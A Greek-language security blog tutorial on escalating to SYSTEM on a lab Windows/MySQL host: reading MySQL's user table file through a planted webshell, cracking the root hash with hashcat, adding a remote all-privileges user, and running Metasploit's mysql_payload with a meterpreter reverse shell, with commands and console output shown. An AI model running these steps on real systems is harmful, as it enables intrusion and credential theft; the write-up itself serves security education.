Security Blog

Getting Windows SYSTEM Privileges with MySQL

Στα πλαίσια επίδειξης τεχνικών τις οποίες ακολουθούμε για τον έλεγχο ασφάλειας σε hosts με λειτουργικό Windows, σε αυτό το άρθρο θα δούμε μια τεχνική παράκαμψης για να εκτελέσουμε εντολές (με system δικαιώματα) σε λειτουργικό σύστημα Windows το οποίο έχει εγκατεστημένη την MySQL και μας έχει απαγορευτεί η εκτέλεση εντολών ή είναι περιορισμένη. Θα αποκτήσουμε δικαιώματα διαχειριστή στο Box.

Θα υποθέσουμε πως έχουμε ένα Windows Box με εγκατεστημένα τα ακόλουθα:

  • Windows 7 Service Pack 1
  • IIS 7
  • PHP 5.3.8
  • MySQL v.5.5.17

Για τις ανάγκες του άρθρου Θα χρειαστούμε τα παρακάτω εργαλεία

Για το συγκεκριμένο έλεγχο ασφάλειας θα χρησιμοποιήσουμε στη συνέχεια του άρθρου δύο διακριτές μηχανές:

  • 192.168.2.6 – Θύμα
  • 192.168.2.2 – Επιτιθέμενος

Ο 192.168.2.2 (επιτιθέμενος) έχει ήδη καταφέρει να εισβάλει σε ιστοσελίδα του 192.168.2.6 (θύμα) και έχει ανεβάσει ένα κακόβουλο PHP WebShell (πχ EvilShell).

Ας Αρχίσουμε λοιπόν…

Παραπάνω βλέπουμε μια εικόνα από το WebShell μας. Παρατηρούμε πως ΔΕΝ έχουμε δικαιώματα SYSTEM User αλλά μόνο ως IUSR και επίσης βλέπουμε ότι όλες οι PHP Command Executions Functions (popen,system,exec,shell_exec,proc_open,passthru) είναι απενεργοποιημένες.

Είμαστε σε ένα σύστημα που δεν μπορούμε να κάνουμε τίποτα άλλο από το να κάνουμε Browsing στα αρχεία του συστήματος.

Σε Windows Boxes χωρίς σωστό Configuration της php && IIS το Browsing στα αρχεία του συστήματος είναι κάτι πολύ συχνό ή καλύτερα… κάτι που γίνεται πάντα!

1o Στάδιο – Gathering Information

Από την έκδοση 4 της MySQL και μετά, κάθε Server Administrator μπορεί να βάλει δικές του δυναμικές Functions στην MySQL… και όταν λέμε δυναμικές δεν εννοούμε μια απλή Function που αποτελείται από μια σειρά εντολών, αλλά ολόκληρα Compiled Object αρχεία που προσφέρουν νέες δυνατότητες στην βάση δεδομένων.

Φανταστείτε λοιπόν να φτιάχναμε ένα MySQL Plugin σε γλώσσα C το οποίο θα κάνει απλά εκτέλεση εντολών χρησιμοποιώντας system Functions της C και να το φορτώναμε στην MySQL. Ναι, θα μπορούσαμε να εκτελέσουμε εντολές… σαν SYSTEM αφού η MySQL τρέχει σαν Windows Service με Administration δικαιώματα! Το μόνο πρόβλημα εδώ, είναι ότι για να μπορέσουμε να φορτώσουμε Plugins στην MySQL θα πρέπει να έχουμε ήδη τον κωδικό του User root της MySQL.

Το να βρεις το κωδικό του Root σε Windows Boxes δεν είναι πολύ δύσκολη υπόθεση. Οι MySQL Users όπως και τα Hashes τους φιλοξενούνται στην βάση δεδομένων «mysql» και στον πίνακα «user». Προφανώς δεν έχουμε πρόσβαση στην βάση δεδομένων αυτή μιας και χρειάζεται τον root user της MySQL.

Έχουμε όμως πρόσβαση στο να διαβάσουμε αρχεία του συστήματος! Κάθε βάση δεδομένων που φτιάχνουμε και κάθε πίνακα σε αυτή αποθηκεύονται σε 3 ειδών αρχεία ( MYD,MYI, frm ) . Το αρχείο MYD περιέχει τα δεδομένα του εκάστοτε πίνακα και αυτό είναι που μας ενδιαφέρει. Όλα αυτά τα αρχεία φιλοξενούνται στον προεπιλεγμένο φάκελο εγκατάστασης της MySQL ή σε τοποθεσία που έχει ορίσει ο ίδιος ο διαχειριστής.

Με το WebShell μας και με τη βοήθεια των δυνατοτήτων της PHP καταφέραμε και βρήκαμε τον φάκελο που φιλοξενεί τους πίνακες της βάσης δεδομένων «mysql» και βρίσκεται στο «C:/ProgramData/MySQL/MySQL Server 5.5/data/mysql/» . Οπότε θα κάνουμε την προσπάθεια να διαβάσουμε το αρχείο user.MYD!

Το Hash του Root User είναι: *DD94942C924281F1F00D6D1574E5E62AE98AAD89 . Είναι τύπου MySQL V5.

Αν δυσκολεύεστε στο να ξεχωρίσετε το hash του root user μπορείτε εναλλακτικά να κατεβάσετε τα 3 αρχεία που αφορούν το table ( user.MYD , user.MYI, user.frm ) και αφού εγκαταστήσετε την ίδια έκδοση (κατά προτίμηση, όχι απαραίτητο) της MySQL του θύματος στον υπολογιστή σας, να αντιγράψετε αυτά τα 3 αρχεία στον φάκελο που φιλοξενεί την βάση δεδομένων «mysql».

Πριν αντιγράψετε τα αρχεία , κάντε τα μετονομασία σε user1.MYD κ.ο.κ για να μην γίνει αντικατάσταση το γνήσιο user table.
Ύστερα με το phpMyAdmin αν πλοηγηθείτε στην βάση δεδομένων «mysql» θα υπάρχει νέος πίνακας με το όνομα «user1».

2o Στάδιο – Cracking the Hash

Το σπάσιμο κωδικού δεν είναι πάντα μια εύκολη υπόθεση ειδικότερα όταν έχουμε να κάνουμε με πολύ «δυνατούς» κωδικούς! Το σπάσιμο των κωδικών μπορεί να γίνει είτε με την χρήση της CPU είτε με την χρήση της GPU.

Μπορείτε να χρησιμοποιήσετε τις δυνατότητες της κάρτας γραφικών για να επιταχύνετε σε μεγάλο βαθμό την διαδικασία εύρεσης του κωδικού!
Πολύ γνωστές επιθέσεις που μπορούν να χρησιμοποιηθούν για το σπάσιμο ενός κωδικού είναι:

  • Brute Force Attack (Δοκιμάζει ΟΛΟΥΣ τους πιθανούς συνδυασμούς από μια συμβολοσειρά)
  • Simple WordList Attack (Δοκιμάζει κωδικούς μέσα από μια λίστα)
  • Combined Dictionary Attack (Παίρνει κωδικούς από διαφορετικές λίστες και τους ενώνει)
  • Hybrid Dictionary Attack (Αυτή η επίθεση διαβάζει κωδικούς από μια λίστα και τους αλλάζει με βάση κανόνες του χρήστη)

καθώς επίσης και άλλα

Όπως συμπεραίνουμε, η επίθεση που θα βρει ΘΕΩΡΗΤΙΚΑ 100% τον κωδικό είναι η BruteForce αλλά πρακτικά αν ο κωδικός είναι μεγάλου μήκους και με όλων των ειδών τους χαρακτήρες η επίθεση μπορεί να μην τελειώσει και ποτέ. Ουσιαστικά κωδικός πάνω από 11 χαρακτήρες (με όλα τα είδη χαρακτήρων) είναι αδύνατο να βρεθεί από την BruteForce.

Μια πολύ καλή και έξυπνη επίθεση και που χρησιμοποιείτε πολύ είναι η Hybrid Dictionary Attack. Η επίθεση αυτή είναι πολύ γρήγορη και παράλληλα πολύ αποτελεσματική! Με πολύ καλούς κανόνες ακόμα και ένας πολύ δύσκολος κωδικός μπορεί να βρεθεί μέσα σε λίγα λεπτά με την χρήση της GPU.

Θα χρησιμοποιήσουμε το hashcat(+CUDA) για να σπάσουμε τους κωδικούς μας και την Hybrid Dictionary Attack.

Το hashcat είναι ένα πρόγραμμα που υποστηρίζει πολλούς τύπους κρυπτογράφησης κωδικών συμπεριλαμβανομένων salted και μπορείτε να το χρησιμοποιήσετε αν έχετε NVIDIA(με χρήση CUDA), ATI (με χρήση STREAM) ή και με απλή χρήση CPU.

Μετά από 6 λεπτά και 12 δευτερόλεπτα καταφέραμε και βρήκαμε τον κωδικό:

dd94942c924281f1f00d6d1574e5e62ae98aad89:uqoKNBC297
Status…….: Cracked
Input.Mode…: File (D:\WordLists\my_wordlist.dic)
Hash.Target..: dd94942c924281f1f00d6d1574e5e62ae98aad89
Hash.Type….: MySQL
Time.Running.: 6 mins, 12 secs
Time.Util….: 2197.8ms/8.5ms Real/CPU, 0.4% idle
Speed……..: 1013.8k c/s Real, 9325.0k c/s GPU
Recovered….: 1/1 Digests, 1/1 Salts
Progress…..: 2231488/4218432 (52.90%)
Rejected…..: 3264/2231488 (0.15%)
HW.Monitor.#1: 71% GPU, 73c Temp

3o στάδιο – Exploit!

Με την βοήθεια του WebShell μας δοκιμάζουμε αν όντως ο κωδικός που βρήκαμε είναι σωστός!

Όντως, καταφέραμε και συνδεθήκαμε με το Username root και κωδικό πρόσβασης uqoKNBC297
Τώρα θα προσθέσουμε έναν νέο χρήστη στην βάση δεδομένων. Με κάποιο sql manager ή ακόμα και με το c99 θα τρέξουμε το παρακάτω Query:

GRANT ALL ON *.* TO ‘coresec’@'%’ IDENTIFIED BY ‘pass123′;

Όπως θα παρατηρήσατε στο host έχουμε βάλει τον χαρακτήρα % που σημαίνει ότι αυτός ο χρήστης μπορεί να κάνει σύνδεση στην βάση δεδομένων από οποιοδήποτε εξωτερικό μηχάνημα.

Οι εντολές εκτελέστηκαν με επιτυχία και όπως θα δούμε στον πίνακα user ο χρήστης μας προστέθηκε!

Ανοίγουμε το metasploit και έχουμε:

msf > use exploit/windows/mysql/mysql_payload
msf exploit(mysql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(mysql_payload) > set LHOST 192.168.2.2
msf exploit(mysql_payload) > set LPORT 5992
msf exploit(mysql_payload) > set RHOST 192.168.2.6
msf exploit(mysql_payload) > set USERNAME coresec
msf exploit(mysql_payload) > set PASSWORD pass123
msf exploit(mysql_payload) > exploit
[*] Started reverse handler on 192.168.2.2:5992
[*] Checking target architecture…
[*] Checking for sys_exec()…
[*] Checking target architecture…
[*] Checking for MySQL plugin directory…
[*] Target arch (win32) and target path both okay.
[*] Uploading lib_mysqludf_sys_32.dll library to C:/Program Files/MySQL/MySQL Server 5.5/lib/plugin/bZTmZmcQ.dll…
[*] Checking for sys_exec()…
[*] Command Stager progress – 1.47% done (1499/102246 bytes)

[*] Command Stager progress – 98.19% done (100400/102246 bytes)
[*] Command Stager progress – 99.59% done (101827/102246 bytes)
[*] Sending stage (752128 bytes) to 192.168.2.6
[*] Command Stager progress – 100.00% done (102246/102246 bytes)
[*] Meterpreter session 1 opened (192.168.2.2:5992 -> 192.168.2.6:3603) at 2011-12-05 10:32:00 +0200

Μόλις, πήραμε SYSTEM δικαιώματα στο Windows Box!

Με το παρόν άρθρο επιθυμούμε την ενημέρωση και ευαισθητοποίηση των ενδιαφερόμενων στους κινδύνους που ελοχεύουν λόγω μη σωστής παραμετροποίησης λογισμικού και την σαφή και σωστή ενημέρωση και αντιμετώπιση αυτών και σε καμία περίπτωση ως οδηγό μίμησης των ανωτέρω για κακόβουλες και παράνομες πράξεις.